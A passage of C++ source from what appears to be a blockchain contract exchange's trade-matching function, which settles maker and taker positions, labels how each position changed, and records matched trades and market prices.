if ( findTrueValue(boolProperty, boolTrdAction, boolEffPrice, boolAddresses) )
{
++offerIt;
continue;
}
idx_q += 1;
const int idx_qp = idx_q;
PrintToLog("Checking idx_q = %d", idx_qp);
CMPSPInfo::Entry sp;
assert(_my_sps->getSP(propertyForSale, sp));
uint32_t marginRequirementContract = sp.margin_requirement;
int64_t marginRequirement = static_cast<int64_t>(marginRequirementContract);
uint32_t collateralCurrency = sp.collateral_currency;
uint32_t notionalSize = sp.notional_size;
PrintToLog("\n---------------------------------------------------\n");
PrintToLog("Inside x_trade function:\n");
PrintToLog("marginRequirement : %d\n", marginRequirement);
PrintToLog("marginRequirementContract : %d\n", marginRequirementContract);
PrintToLog("collateral currency id of contract : %d\n",collateralCurrency);
PrintToLog("notional size : %d\n",notionalSize);
/********************************************************/
/** Preconditions */
assert(pold->getProperty() == pnew->getProperty());
PrintToLog("________________________________________________________\n");
PrintToLog("Inside x_trade:\n");
PrintToLog("Checking effective prices and trading actions:\n");
PrintToLog("Effective price pold: %d\n", FormatContractShortMP(pold->getEffectivePrice()) );
PrintToLog("Effective price pnew: %d\n", FormatContractShortMP(pnew->getEffectivePrice()) );
PrintToLog("Amount for sale pold: %d\n", pold->getAmountForSale() );
PrintToLog("Amount for sale pnew: %d\n", pnew->getAmountForSale() );
PrintToLog("Trading action pold: %d\n", pold->getTradingAction() );
PrintToLog("Trading action pnew: %d\n", pnew->getTradingAction() );
PrintToLog("Trade Status: %s\n", tradeStatus);
/********************************************************/
uint32_t property_traded = pold->getProperty();
int64_t poldPositiveBalanceB = getMPbalance(pold->getAddr(), property_traded, POSSITIVE_BALANCE);
int64_t pnewPositiveBalanceB = getMPbalance(pnew->getAddr(), property_traded, POSSITIVE_BALANCE);
int64_t poldNegativeBalanceB = getMPbalance(pold->getAddr(), property_traded, NEGATIVE_BALANCE);
int64_t pnewNegativeBalanceB = getMPbalance(pnew->getAddr(), property_traded, NEGATIVE_BALANCE);
PrintToLog("poldPositiveBalanceB: %d, poldNegativeBalanceB: %d\n", poldPositiveBalanceB, poldNegativeBalanceB);
PrintToLog("pnewPositiveBalanceB: %d, pnewNegativeBalanceB: %d\n", pnewPositiveBalanceB, pnewNegativeBalanceB);
int64_t possitive_sell = (pold->getTradingAction() == SELL) ? poldPositiveBalanceB : pnewPositiveBalanceB;
int64_t negative_sell = (pold->getTradingAction() == SELL) ? poldNegativeBalanceB : pnewNegativeBalanceB;
int64_t possitive_buy = (pold->getTradingAction() == SELL) ? pnewPositiveBalanceB : poldPositiveBalanceB;
int64_t negative_buy = (pold->getTradingAction() == SELL) ? pnewNegativeBalanceB : poldNegativeBalanceB;
int64_t seller_amount = (pold->getTradingAction() == SELL) ? pold->getAmountForSale() : pnew->getAmountForSale();
int64_t buyer_amount = (pold->getTradingAction() == SELL) ? pnew->getAmountForSale() : pold->getAmountForSale();
std::string seller_address = (pold->getTradingAction() == SELL) ? pold->getAddr() : pnew->getAddr();
std::string buyer_address = (pold->getTradingAction() == SELL) ? pnew->getAddr() : pold->getAddr();
/********************************************************/
int64_t nCouldBuy = buyer_amount < seller_amount ? buyer_amount : seller_amount;
PrintToLog("This is the nCouldBuy %d\n", nCouldBuy);
PrintToLog("possitive_sell: %d, negative_sell: %d\n", possitive_sell, negative_sell);
PrintToLog("possitive_buy: %d, negative_buy: %d\n", possitive_buy, negative_buy);
if (nCouldBuy == 0)
{
// if (msc_debug_metadex1) PrintToLog("The buyer has not enough contracts for sale!\n");
++offerIt;
continue;
}
/********************************************************/
int64_t difference_s = 0, difference_b = 0;
if ( possitive_sell != 0 )
{
difference_s = possitive_sell - nCouldBuy;
if (difference_s >= 0)
assert(update_tally_map(seller_address, property_traded, -nCouldBuy, POSSITIVE_BALANCE));
else
{
assert(update_tally_map(seller_address, property_traded, -possitive_sell, POSSITIVE_BALANCE));
assert(update_tally_map(seller_address, property_traded, -difference_s, NEGATIVE_BALANCE));
}
}
else if ( negative_sell != 0 || negative_sell == 0 || possitive_sell == 0 )
assert(update_tally_map(seller_address, property_traded, nCouldBuy, NEGATIVE_BALANCE));
if ( negative_buy != 0 )
{
difference_b = negative_buy - nCouldBuy;
if (difference_b >= 0)
assert(update_tally_map(buyer_address, property_traded, -nCouldBuy, NEGATIVE_BALANCE));
else
{
assert(update_tally_map(buyer_address, property_traded, -negative_buy, NEGATIVE_BALANCE));
assert(update_tally_map(buyer_address, property_traded, -difference_b, POSSITIVE_BALANCE));
}
}
else if ( possitive_buy != 0 || possitive_buy == 0 || negative_buy == 0 )
assert(update_tally_map(buyer_address, property_traded, nCouldBuy, POSSITIVE_BALANCE));
/********************************************************/
int64_t poldPositiveBalanceL = getMPbalance(pold->getAddr(), property_traded, POSSITIVE_BALANCE);
int64_t pnewPositiveBalanceL = getMPbalance(pnew->getAddr(), property_traded, POSSITIVE_BALANCE);
int64_t poldNegativeBalanceL = getMPbalance(pold->getAddr(), property_traded, NEGATIVE_BALANCE);
int64_t pnewNegativeBalanceL = getMPbalance(pnew->getAddr(), property_traded, NEGATIVE_BALANCE);
std::string Status_s = "Empty";
std::string Status_b = "Empty";
NewReturn = TRADED;
CMPContractDex contract_replacement = *pold;
int64_t creplNegativeBalance = getMPbalance(contract_replacement.getAddr(), property_traded, NEGATIVE_BALANCE);
int64_t creplPositiveBalance = getMPbalance(contract_replacement.getAddr(), property_traded, POSSITIVE_BALANCE);
PrintToLog("poldPositiveBalance: %d, poldNegativeBalance: %d\n", poldPositiveBalanceL, poldNegativeBalanceL);
PrintToLog("pnewPositiveBalance: %d, pnewNegativeBalance: %d\n", pnewPositiveBalanceL, pnewNegativeBalanceL);
PrintToLog("creplPositiveBalance: %d, creplNegativeBalance: %d\n", creplPositiveBalance, creplNegativeBalance);
int64_t remaining = seller_amount >= buyer_amount ? seller_amount - buyer_amount : buyer_amount - seller_amount;
if ( (seller_amount > buyer_amount && pold->getTradingAction() == SELL) || (seller_amount < buyer_amount && pold->getTradingAction() == BUY))
{
contract_replacement.setAmountForsale(remaining, "moreinseller");
pnew->setAmountForsale(0, "no_remaining");
NewReturn = TRADED_MOREINSELLER;
}
else if ( (seller_amount < buyer_amount && pold->getTradingAction() == SELL) || (seller_amount > buyer_amount && pold->getTradingAction() == BUY))
{
contract_replacement.setAmountForsale(0, "no_remaining");
pnew->setAmountForsale(remaining, "moreinbuyer");
NewReturn = TRADED_MOREINBUYER;
}
else if (seller_amount == buyer_amount)
{
pnew->setAmountForsale(0, "no_remaining");
contract_replacement.setAmountForsale(0, "no_remaining");
NewReturn = TRADED;
}
/********************************************************/
int64_t countClosedSeller = 0, countClosedBuyer = 0;
if ( possitive_sell > 0 && negative_sell == 0 )
{
if ( pold->getTradingAction() == SELL )
{
Status_s = possitive_sell > creplPositiveBalance && creplPositiveBalance != 0 ? "LongPosNettedPartly" : ( creplPositiveBalance == 0 && creplNegativeBalance == 0 ? "LongPosNetted" : ( creplPositiveBalance == 0 && creplNegativeBalance > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") );
countClosedSeller = creplPositiveBalance == 0 ? possitive_sell : abs( possitive_sell - creplPositiveBalance );
}
else
{
Status_s = possitive_sell > pnewPositiveBalanceL && pnewPositiveBalanceL != 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL == 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL > 0 ? "OpenShortPosByLongPosNetted": "LongPosIncreased") );
countClosedSeller = pnewPositiveBalanceL == 0 ? possitive_sell : abs( possitive_sell - pnewPositiveBalanceL );
}
}
else if ( negative_sell > 0 && possitive_sell == 0 )
{
if ( pold->getTradingAction() == SELL )
{
Status_s = negative_sell > creplNegativeBalance && creplNegativeBalance != 0 ? "ShortPosNettedPartly" : ( creplNegativeBalance == 0 && creplPositiveBalance == 0 ? "ShortPosNetted" : ( creplNegativeBalance == 0 && creplPositiveBalance > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") );
countClosedSeller = creplNegativeBalance == 0 ? negative_sell : abs( negative_sell - creplNegativeBalance );
}
else
{
Status_s = negative_sell > pnewNegativeBalanceL && pnewNegativeBalanceL != 0 ? "ShortPosNettedPartly" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL == 0 ? "ShortPosNetted" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") );
countClosedSeller = pnewNegativeBalanceL == 0 ? negative_sell : abs( negative_sell - pnewNegativeBalanceL );
}
}
else if ( negative_sell == 0 && possitive_sell == 0 )
{
if ( pold->getTradingAction() == SELL )
Status_s = creplPositiveBalance > 0 ? "OpenLongPosition" : "OpenShortPosition";
else
Status_s = pnewPositiveBalanceL > 0 ? "OpenLongPosition" : "OpenShortPosition";
countClosedSeller = 0;
}
/********************************************************/
if ( possitive_buy > 0 && negative_buy == 0 )
{
if ( pold->getTradingAction() == BUY )
{
Status_b = possitive_buy > creplPositiveBalance && creplPositiveBalance != 0 ? "LongPosNettedPartly" : ( creplPositiveBalance == 0 && creplNegativeBalance == 0 ? "LongPosNetted" : ( creplPositiveBalance == 0 && creplNegativeBalance > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") );
countClosedBuyer = creplPositiveBalance == 0 ? possitive_buy : abs( possitive_buy - creplPositiveBalance );
}
else
{
Status_b = possitive_buy > pnewPositiveBalanceL && pnewPositiveBalanceL != 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL == 0 ? "LongPosNetted" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") );
countClosedBuyer = pnewPositiveBalanceL == 0 ? possitive_buy : abs( possitive_buy - pnewPositiveBalanceL );
}
}
else if ( negative_buy > 0 && possitive_buy == 0 )
{
if ( pold->getTradingAction() == BUY )
{
Status_b = negative_buy > creplNegativeBalance && creplNegativeBalance != 0 ? "ShortPosNettedPartly" : ( creplNegativeBalance == 0 && creplPositiveBalance == 0 ? "ShortPosNetted" : ( creplNegativeBalance == 0 && creplPositiveBalance > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased" ) );
countClosedBuyer = creplNegativeBalance == 0 ? negative_buy : abs( negative_buy - creplNegativeBalance );
}
else
{
Status_b = negative_buy > pnewNegativeBalanceL && pnewNegativeBalanceL != 0 ? "ShortPosNettedPartly" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL == 0 ? "ShortPosNetted" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") );
countClosedBuyer = pnewNegativeBalanceL == 0 ? negative_buy : abs( negative_buy - pnewNegativeBalanceL );
}
}
else if ( negative_buy == 0 && possitive_buy == 0 )
{
if ( pold->getTradingAction() == BUY )
Status_b = creplPositiveBalance > 0 ? "OpenLongPosition" : "OpenShortPosition";
else
Status_b = pnewPositiveBalanceL > 0 ? "OpenLongPosition" : "OpenShortPosition";
countClosedBuyer = 0;
}
/********************************************************/
int64_t lives_maker = 0, lives_taker = 0;
if( creplPositiveBalance > 0 && creplNegativeBalance == 0 )
lives_maker = creplPositiveBalance;
else if( creplNegativeBalance > 0 && creplPositiveBalance == 0 )
lives_maker = creplNegativeBalance;
if( pnewPositiveBalanceL && pnewNegativeBalanceL == 0 )
lives_taker = pnewPositiveBalanceL;
else if( pnewNegativeBalanceL > 0 && pnewPositiveBalanceL == 0 )
lives_taker = pnewNegativeBalanceL;
if ( countClosedSeller < 0 ) countClosedSeller = 0;
if ( countClosedBuyer < 0 ) countClosedBuyer = 0;
/********************************************************/
std::string Status_maker = "", Status_taker = "";
if (pold->getAddr() == seller_address)
{
Status_maker = Status_s;
Status_taker = Status_b;
}
else
{
Status_maker = Status_b;
Status_taker = Status_s;
}
PrintToLog("Status_maker = %d, Status_taker = %d\n", Status_maker, Status_taker);
std::string Status_s0 = "EmptyStr", Status_s1 = "EmptyStr", Status_s2 = "EmptyStr", Status_s3 = "EmptyStr";
std::string Status_b0 = "EmptyStr", Status_b1 = "EmptyStr", Status_b2 = "EmptyStr", Status_b3 = "EmptyStr";
int64_t lives_maker0 = 0, lives_maker1 = 0, lives_maker2 = 0, lives_maker3 = 0;
int64_t lives_taker0 = 0, lives_taker1 = 0, lives_taker2 = 0, lives_taker3 = 0;
int64_t nCouldBuy0 = 0, nCouldBuy1 = 0, nCouldBuy2 = 0, nCouldBuy3 = 0;
lives_maker0 = lives_maker;
lives_taker0 = lives_taker;
nCouldBuy0 = nCouldBuy;
/********************************************************/
if ( pold->getTradingAction() == SELL )
{
// If maker Sell and Open Short by Long Netted: status_sj -> makers
if ( Status_maker == "OpenShortPosByLongPosNetted" )
{
if ( Status_taker == "OpenLongPosByShortPosNetted" )
{
if ( possitive_sell > negative_buy )
{
Status_s1 = "LongPosNettedPartly";
lives_maker1 = possitive_sell - negative_buy;
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
nCouldBuy1 = negative_buy;
Status_s2 = "LongPosNetted";
lives_maker2 = 0;
Status_b2 = "OpenLongPosition";
lives_taker2 = lives_maker1;
nCouldBuy2 = lives_maker1;
Status_s3 = "OpenShortPosition";
lives_maker3 = nCouldBuy - possitive_sell;
Status_b3 = "LongPosIncreased";
lives_taker3 = lives_taker2 + lives_maker3;
nCouldBuy3 = lives_maker3;
}
else if ( possitive_sell < negative_buy )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_taker1 = negative_buy - possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = negative_buy - possitive_sell;
Status_b2 = "ShortPosNetted";
lives_taker2 = 0;
nCouldBuy2 = lives_maker2;
Status_b3 = "OpenLongPosition";
lives_taker3 = nCouldBuy - negative_buy;
Status_s3 = "ShortPosIncreased";
lives_maker3 = lives_maker2 + lives_taker3;
nCouldBuy3 = lives_taker3;
}
else if ( possitive_sell == negative_buy )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_b2 = "OpenLongPosition";
lives_taker2 = lives_maker2;
nCouldBuy2 = lives_maker2;
}
}
else if ( Status_taker == "ShortPosNettedPartly" )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_taker1 = negative_buy - possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_b2 = "ShortPosNettedPartly";
lives_taker2 = lives_taker1 - lives_maker2;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "ShortPosNetted" )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_taker1 = negative_buy - possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_b2 = "ShortPosNetted";
lives_taker2 = 0;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "OpenLongPosition" )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "OpenLongPosition";
lives_taker1 = possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_b2 = "LongPosIncreased";
lives_taker2 = lives_taker1 + lives_maker2;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "LongPosIncreased" )
{
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
Status_b1 = "LongPosIncreased";
lives_taker1 = possitive_buy + possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_b2 = "LongPosIncreased";
lives_taker2 = lives_taker1 + lives_maker2;
nCouldBuy2 = lives_maker2;
}
}
// Checked
}
else
{
// If maker Buy and Open Long by Short Netted: status_bj -> makers
if ( Status_maker == "OpenLongPosByShortPosNetted" )
{
if ( Status_taker == "OpenShortPosByLongPosNetted" )
{
if ( negative_buy < possitive_sell )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_taker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_maker2 = lives_taker1;
Status_s2 = "LongPosNetted";
lives_taker2 = 0;
nCouldBuy2 = lives_taker1;
Status_b3 = "LongPosIncreased";
lives_maker3 = lives_maker2 + nCouldBuy - possitive_sell;
Status_s3 = "OpenShortPosition";
lives_taker3 = nCouldBuy - possitive_sell;
nCouldBuy3 = lives_taker3;
}
else if ( negative_buy > possitive_sell )
{
Status_b1 = "ShortPosNettedPartly";
lives_maker1 = negative_buy - possitive_sell;
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
nCouldBuy1 = lives_maker1;
Status_b2 = "ShortPosNetted";
lives_maker2 = 0;
Status_s2 = "OpenShortPosition";
lives_taker2 = lives_maker1;
nCouldBuy2 = lives_maker1;
Status_b3 = "OpenLongPosition";
lives_maker3 = nCouldBuy - negative_buy;
Status_s3 = "ShortPosIncreased";
lives_taker3 = lives_taker2 + lives_maker3;
nCouldBuy3 = lives_maker3;
}
else if ( negative_buy == possitive_sell )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
nCouldBuy1 = possitive_sell;
Status_b2 = "OpenLongPosition";
lives_maker2 = nCouldBuy - possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = lives_maker2;
nCouldBuy2 = lives_maker2;
}
}
else if ( Status_taker == "LongPosNettedPartly" )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_taker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_maker2 = nCouldBuy - negative_buy;
Status_s2 = "LongPosNettedPartly";
lives_taker2 = lives_taker1 - lives_maker2;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "LongPosNetted" )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_taker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_maker2 = nCouldBuy - negative_buy;
Status_s2 = "LongPosNetted";
lives_taker2 = 0;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "OpenShortPosition" )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "OpenShortPosition";
lives_taker1 = negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_maker2 = nCouldBuy - negative_buy;
Status_s2 = "ShortPosIncreased";
lives_taker2 = lives_taker1 + lives_maker2;
nCouldBuy2 = lives_maker2;
}
else if ( Status_taker == "ShortPosIncreased" )
{
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
Status_s1 = "ShortPosIncreased";
lives_taker1 = negative_sell + negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_maker2 = nCouldBuy - negative_buy;
Status_s2 = "ShortPosIncreased";
lives_taker2 = lives_taker1 + lives_maker2;
nCouldBuy2 = lives_maker2;
}
}
// Checked
}
/********************************************************/
if ( pold->getTradingAction() == BUY )
{
// If taker Sell and Open Short by Long Netted: status_sj -> taker
if ( Status_taker == "OpenShortPosByLongPosNetted" )
{
if ( Status_maker == "OpenLongPosByShortPosNetted" )
{
if ( possitive_sell > negative_buy )
{
Status_s1 = "LongPosNettedPartly";
lives_taker1 = possitive_sell - negative_buy;
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
nCouldBuy1 = negative_buy;
Status_s2 = "LongPosNetted";
lives_taker2 = 0;
Status_b2 = "OpenLongPosition";
lives_maker2 = lives_taker1;
nCouldBuy2 = lives_taker1;
Status_s3 = "OpenShortPosition";
lives_taker3 = nCouldBuy - possitive_sell;
Status_b3 = "LongPosIncreased";
lives_maker3 = lives_maker2 + lives_taker3;
nCouldBuy3 = lives_taker3;
}
else if ( possitive_sell < negative_buy )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_maker1 = negative_buy - possitive_sell ;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = lives_maker1;
Status_b2 = "ShortPosNetted";
lives_maker2 = 0;
nCouldBuy2 = lives_taker2;
Status_b3 = "OpenLongPosition";
lives_maker3 = nCouldBuy - negative_buy;
Status_s3 = "ShortPosIncreased";
lives_taker3 = lives_taker2 + lives_maker3;
nCouldBuy3 = lives_maker3;
}
else if ( possitive_sell == negative_buy )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "ShortPosNetted";
lives_maker1 = 0;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_b2 = "OpenLongPosition";
lives_maker2 = lives_taker2;
nCouldBuy2 = lives_taker2;
}
}
else if ( Status_maker == "ShortPosNettedPartly" )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_maker1 = negative_buy - possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_b2 = "ShortPosNettedPartly";
lives_maker2 = lives_maker1 - lives_taker2;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "ShortPosNetted" )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "ShortPosNettedPartly";
lives_maker1 = negative_buy - possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_b2 = "ShortPosNetted";
lives_maker2 = 0;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "OpenLongPosition" )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "OpenLongPosition";
lives_maker1 = possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_b2 = "LongPosIncreased";
lives_maker2 = lives_maker1 + lives_taker2;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "LongPosIncreased" )
{
Status_s1 = "LongPosNetted";
lives_taker1 = 0;
Status_b1 = "LongPosIncreased";
lives_maker1 = possitive_buy + possitive_sell;
nCouldBuy1 = possitive_sell;
Status_s2 = "OpenShortPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_b2 = "LongPosIncreased";
lives_maker2 = lives_maker1 + lives_taker2;
nCouldBuy2 = lives_taker2;
}
}
// Checked
}
else
{
// If taker Buy and Open Long by Short Netted: status_bj -> taker
if ( Status_taker == "OpenLongPosByShortPosNetted" )
{
if ( Status_maker == "OpenShortPosByLongPosNetted" )
{
if ( negative_buy < possitive_sell )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_maker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_taker2 = lives_maker1;
Status_s2 = "LongPosNetted";
lives_maker2 = 0;
nCouldBuy2 = lives_maker1;
Status_b3 = "LongPosIncreased";
lives_taker3 = lives_taker2 + nCouldBuy - possitive_sell;
Status_s3 = "OpenShortPosition";
lives_maker3 = nCouldBuy - possitive_sell;
nCouldBuy3 = lives_maker3;
}
else if ( negative_buy > possitive_sell )
{
Status_b1 = "ShortPosNettedPartly";
lives_taker1 = negative_buy - possitive_sell;
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
nCouldBuy1 = lives_taker1;
Status_b2 = "ShortPosNetted";
lives_taker2 = 0;
Status_s2 = "OpenShortPosition";
lives_maker2 = negative_buy - possitive_sell;
nCouldBuy2 = negative_buy - possitive_sell;
Status_b3 = "OpenLongPosition";
lives_taker3 = nCouldBuy - negative_buy;
Status_s3 = "ShortPosIncreased";
lives_maker3 = lives_maker2 + lives_taker3;
nCouldBuy3 = lives_taker3;
}
else if ( negative_buy == possitive_sell )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "LongPosNetted";
lives_maker1 = 0;
nCouldBuy1 = possitive_sell;
Status_b2 = "OpenLongPosition";
lives_taker2 = nCouldBuy - possitive_sell;
Status_s2 = "OpenShortPosition";
lives_maker2 = lives_taker2;
nCouldBuy2 = lives_taker2;
}
}
else if ( Status_maker == "LongPosNettedPartly" )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_maker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_taker2 = nCouldBuy - negative_buy;
Status_s2 = "LongPosNettedPartly";
lives_maker2 = lives_maker1 - lives_taker2;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "LongPosNetted" )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "LongPosNettedPartly";
lives_maker1 = possitive_sell - negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_taker2 = nCouldBuy - negative_buy;
Status_s2 = "LongPosNetted";
lives_maker2 = 0;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "OpenShortPosition" )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "OpenShortPosition";
lives_maker1 = negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_taker2 = nCouldBuy - negative_buy;
Status_s2 = "ShortPosIncreased";
lives_maker2 = lives_maker1 + lives_taker2;
nCouldBuy2 = lives_taker2;
}
else if ( Status_maker == "ShortPosIncreased" )
{
Status_b1 = "ShortPosNetted";
lives_taker1 = 0;
Status_s1 = "ShortPosIncreased";
lives_maker1 = negative_sell + negative_buy;
nCouldBuy1 = negative_buy;
Status_b2 = "OpenLongPosition";
lives_taker2 = nCouldBuy - negative_buy;
Status_s2 = "ShortPosIncreased";
lives_maker2 = lives_maker1 + lives_taker2;
nCouldBuy2 = lives_taker2;
}
}
// Checked
}
/********************************************************************/
std::string Status_maker0="EmptyStr", Status_maker1="EmptyStr", Status_maker2="EmptyStr", Status_maker3="EmptyStr";
std::string Status_taker0="EmptyStr", Status_taker1="EmptyStr", Status_taker2="EmptyStr", Status_taker3="EmptyStr";
std::vector<std::string> v_status;
std::vector<int64_t> v_livesc;
std::vector<int64_t> v_ncouldbuy;
v_ncouldbuy.push_back(nCouldBuy0);
v_ncouldbuy.push_back(nCouldBuy1);
v_ncouldbuy.push_back(nCouldBuy2);
v_ncouldbuy.push_back(nCouldBuy3);
v_livesc.push_back(lives_maker0);
v_livesc.push_back(lives_taker0);
v_livesc.push_back(lives_maker1);
v_livesc.push_back(lives_taker1);
v_livesc.push_back(lives_maker2);
v_livesc.push_back(lives_taker2);
v_livesc.push_back(lives_maker3);
v_livesc.push_back(lives_taker3);
if ( pold->getAddr() == seller_address )
{
v_status.push_back(Status_s);
v_status.push_back(Status_b);
v_status.push_back(Status_s1);
v_status.push_back(Status_b1);
v_status.push_back(Status_s2);
v_status.push_back(Status_b2);
v_status.push_back(Status_s3);
v_status.push_back(Status_b3);
}
else
{
v_status.push_back(Status_b);
v_status.push_back(Status_s);
v_status.push_back(Status_b1);
v_status.push_back(Status_s1);
v_status.push_back(Status_b2);
v_status.push_back(Status_s2);
v_status.push_back(Status_b3);
v_status.push_back(Status_s3);
}
Status_maker0 = Status_maker;
Status_taker0 = Status_taker;
if ( pold->getAddr() == seller_address )
{
Status_maker1 = Status_s1;
Status_taker1 = Status_b1;
Status_maker2 = Status_s2;
Status_taker2 = Status_b2;
Status_maker3 = Status_s3;
Status_taker3 = Status_b3;
}
else
{
Status_maker1 = Status_b1;
Status_taker1 = Status_s1;
Status_maker2 = Status_b2;
Status_taker2 = Status_s2;
Status_maker3 = Status_b3;
Status_taker3 = Status_s3;
}
/********************************************************/
t_tradelistdb->recordMatchedTrade(pold->getHash(),
pnew->getHash(),
pold->getAddr(),
pnew->getAddr(),
pold->getEffectivePrice(),
contract_replacement.getAmountForSale(),
pnew->getAmountForSale(),
pold->getBlock(),
pnew->getBlock(),
property_traded,
tradeStatus,
lives_maker0,
lives_maker1,
lives_maker2,
lives_maker3,
lives_taker0,
lives_taker1,
lives_taker2,
lives_taker3,
Status_maker0,
Status_taker0,
Status_maker1,
Status_taker1,
Status_maker2,
Status_taker2,
Status_maker3,
Status_taker3,
nCouldBuy0,
nCouldBuy1,
nCouldBuy2,
nCouldBuy3);
/********************************************************/
int index = static_cast<unsigned int>(property_traded);
marketP[index] = pold->getEffectivePrice();
uint64_t marketPriceNow = marketP[index];
PrintToLog("\nmarketPrice Now : %d, marketP[index] = %d\n", marketPriceNow, marketP[index]);
t_tradelistdb->recordForUPNL(pnew->getHash(),pnew->getAddr(),property_traded,pold->getEffectivePrice());
// if (msc_debug_metadex1) PrintToLog("++ erased old: %s\n", offerIt->ToString());
pofferSet->erase(offerIt++);
if (0 < remaining)
pofferSet->insert(contract_replacement);
}
}
static const std::string getTradeReturnType(MatchReturnType ret)
{
switch (ret)
{
case NOTHING: return "NOTHING";
case TRADED: return "TRADED";
